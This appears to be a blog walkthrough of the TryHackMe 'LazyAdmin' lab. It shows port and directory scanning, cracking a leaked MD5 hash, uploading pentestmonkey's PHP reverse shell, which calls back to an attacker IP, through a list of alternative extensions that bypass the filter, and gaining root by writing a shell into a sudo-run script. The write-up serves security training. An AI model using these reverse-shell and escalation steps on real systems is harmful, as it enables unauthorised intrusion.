December 14, 20225 minutes

Easy Linux machine to practice your skills.

https://tryhackme.com/room/lazyadmin

Attacker IP = 10.10.10.10

Target IP = 10.10.192.128

Reconnaissance#

First of all, we check whether the machine is up and which OS it runs

❯ ping -c 1 10.10.192.128
PING 10.10.192.128 (10.10.192.128) 56(84) bytes of data.
64 bytes from 10.10.192.128: icmp_seq=1 ttl=63 time=66.1 ms

--- 10.10.192.128 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 66.057/66.057/66.057/0.000 ms

In this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is most likely Linux

Port scan (nmap)#

Now we start with a port scan

nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.192.128 -oG allPorts

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.29.188
   5   │     [*] Open ports: 22,80
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴─────────────────────────────────────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services on those ports and run basic reconnaissance scripts

❯ sudo nmap -p22,80 -sC -sV 10.10.192.128 -Pn target
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 497cf741104373da2ce63s89586f8e0f0 (RSA)
|   256 2fd7c44ce81b5sa9044dfc0638c72ae55 (ECDSA)
|_  256 6184622s7c6c32917dd27459e29cb905e (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80#

When we open the website, the first thing we see is the following

Looking for subdirectories#

To see whether there are subdirectories, we’ll use wfuzz to fuzz with a wordlist located at /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt with the following command:

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.192.128/FUZZ

=======================================================================
ID           Response   Lines    Word       Chars       Payload                         
=======================================================================

000000075:   301        9 L      28 W       316 Ch      "content"
000095524:   403        9 L      28 W       278 Ch      "server-status"

Inside /content there is only some text

Looking for subdirectories in /content/#

❯ wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  http://10.10.192.128/content/FUZZ

=====================================================================
ID           Response   Lines    Word       Chars       Payload                         
=====================================================================

000000016:   301        9 L      28 W       323 Ch      "images"
000000953:   301        9 L      28 W       319 Ch      "js"
000002190:   301        9 L      28 W       320 Ch      "inc"                           
000003320:   301        9 L      28 W       319 Ch      "as"                            
000003601:   301        9 L      28 W       324 Ch      "_themes"                       
000003808:   301        9 L      28 W       327 Ch      "attachment"

Login credentials#

Inside /inc there is a folder called mysql_backup/, which contains a file called mysql_bakup_20191129023059-1.5.1.sql. We download it, and inside we can see a user called manager with a hash --------------

❯ hash-identifier --------------
Possible Hashs:
[+] MD5

To crack it we’ll use John the Ripper

John the Ripper is an open-source password recovery and security auditing tool. It is cross-platform and the most widely used and versatile option, since it combines fast cracking speed with an extraordinary range of supported hash types.

❯ sudo john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 512/512 AVX512BW 16x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status

Password Censurada      (?)     

1g 0:00:00:00 DONE (2022-12-14 21:28) 100.0g/s 3379Kp/s 3379Kc/s 3379KC/s 062089..redlips
Session completed.

Now we can log in to the login panel at /content/as

This takes us to what looks like the administrator’s control panel. There are many sections, but in one of them (media center) we can upload files.

Reverse shell#

We’ll try to upload a malicious .php file made by pentestmonkey to get a reverse shell

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

It’s important to change this to our machine’s IP and the port we’ll be listening on

$ip = '10.10.10.10';  // CHANGE THIS
$port = 443;       // CHANGE THIS

Now we can upload it

It wasn’t uploaded; maybe it was blocked because it is .php… In these situations, you can try less common PHP extensions that the admin hasn’t blocked.

Examples of alternatives to .php: .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module

First we’ll try .phtml

Now it works!

We listen on port 443

nc -nlvp 443

We click on the file we uploaded to the website and get the connection

TTY upgrade#

Before we start, to work more comfortably, the first thing to do is upgrade the TTY…

script /dev/null -c bash

ctrl + z

stty raw -echo; fg

reset

xterm

export SHELL=bash

export TERM=xterm

Privilege escalation#

With sudo -l we can see that we can run /usr/bin/perl and /home/itguy/backup.pl

If we go to /home/itguy/ and cat backup.pl, we see it runs a file located at /etc/copy.sh

(Contents of backup.pl)

#!/usr/bin/perl

system("sh", "/etc/copy.sh");

We don’t have write permissions on this file, but we do on copy.sh. Let’s test whether what we put in copy.sh runs as root

www-data@THM-Chal:/$ echo "whoami" > /etc/copy.sh
www-data@THM-Chal:/$ sudo perl /home/itguy/backup.pl
root

It does run as root, so now we’ll tell copy.sh to spawn a bash shell

www-data@THM-Chal:/$ echo "/bin/bash -i" > /etc/copy.sh
www-data@THM-Chal:/$ sudo perl /home/itguy/backup.pl
root@THM-Chal:/#

We are root!

With cat /root/root.txt we can read the flag